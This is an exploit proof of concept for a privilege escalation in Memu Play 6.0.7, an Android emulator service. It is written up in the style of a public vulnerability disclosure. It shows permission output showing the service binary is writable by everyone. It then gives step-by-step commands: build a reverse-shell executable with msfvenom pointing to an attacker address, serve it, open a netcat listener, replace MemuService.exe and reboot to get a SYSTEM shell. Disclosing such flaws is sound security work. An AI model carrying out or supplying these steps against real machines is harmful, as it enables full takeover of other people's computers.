# Exploit Title: Memu Play 6.0.7 - Privilege Escalation (PoC)# Date: 20/02/2019# Author: Alejandra Sánchez# Vendor Homepage: https://www.memuplay.com/# Software Link: https://www.memuplay.com/download-en.php?file_name=Memu-Setup&from=official_release# Version: 6.0.7# Tested on: Windows 10 / Windows 7# Description:#Memu Play 6.0.7 suffers from Privilege Escalation due to insecure file permissions# Prerequisites# Local, Low privilege access with restart capabilities# Details# By default the Authenticated Users group has the modify permission to ESM folders/files as shown below.# A low privilege account is able to rename the MemuService.exe file located in this same path and replace # with a malicious file that would connect back to an attacking computer giving system level privileges # (nt authority\system) due to the service running as Local System.# While a low privilege user is unable to restart the service through the application, a restart of the # computer triggers the execution of the malicious file.
C:\>icacls "C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe"
C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe Everyone:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
Successfully processed 1 files; Failed processing 0 files
C:\>sc qc MEmuSVC
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: MEmuSVC
TYPE : 10WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL: 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe
LOAD_ORDER_GROUP :
TAG: 0
# Proof of Concept
1. Generate malicious .exe on attacking machine
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.130 LPORT=443 -f exe > /var/www/html/MemuService.exe
2. Setup listener and ensure apache is running on attacking machine
nc -lvp 443
service apache2 start
3. Download malicious .exe on victim machine
Open browser to http://192.168.1.130/MemuService.exe and download
4. Overwrite file and copy malicious .exe.
Renename C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe > MemuService.bak
Copy/Move downloaded 'MemuService.exe' file to C:\Program Files (x86)\Microvirt\MEmu\
5. Restart victim machine
6. Reverse Shell on attacking machine opens
C:\Windows\system32>whoami
whoami
nt authority\system